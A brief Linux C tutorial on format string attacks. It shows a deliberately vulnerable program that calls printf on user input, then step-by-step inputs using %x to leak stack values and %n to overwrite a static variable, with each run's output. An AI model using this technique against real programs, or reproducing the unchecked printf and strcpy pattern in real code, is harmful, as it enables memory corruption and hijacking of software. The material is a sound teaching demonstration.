title:X11 Linux Format String Attack
keywords:linux,c,formatting,printf

# Linux Format String Attack
Format string attack is attack for C formated strings. Format string
function is prinrf() there are other functions that
support format string.C code for bad used printf():

```c
int main( int argc, char **argv )
{
    static int i = 0;
    char text[1000];
    strcpy(text, argv[1]);
    printf("%.8x\n",&i);
    printf("No way it never will works because value of i=%d\n",i);
    printf( text );
    printf("\nValue of i=%d\n",i);
    return 0;
}

```
First output is address of static iThan we output values of
i and call printf() with first argument fo programm.and
then watching value if i

Run:

```sh
./e1 'Halolo'
```

Output:
```text
08049674
No way it never will works because value of i=0
Halolo
Value of i=0
```

Run:
```sh
./e1 'Halolo%s'
```

Output:
```
08049674
No way it never will works because value of i=0Halolo(null)
Value of i=0 
```

Run:
```sh
./e1 $'\x74\x96\x04\x08_%x'
```

Output:
```text
08049674
No way it never will works because value of i=0
t?_0
Value of i=0
```

Read about %n in format string:

Run:
```sh
./e1 $'\x74\x96\x04\x08_%x_%n'
```

Output:

```text
08049674
No way it never will works because value of i=0
Segmentation fault
```

Run:

```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'
```

Output:
```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_4_
Value of i=16
```

Run:

```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'
```

Output:
```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000004_
Value of i=1216
```

Now you can input almost any value to i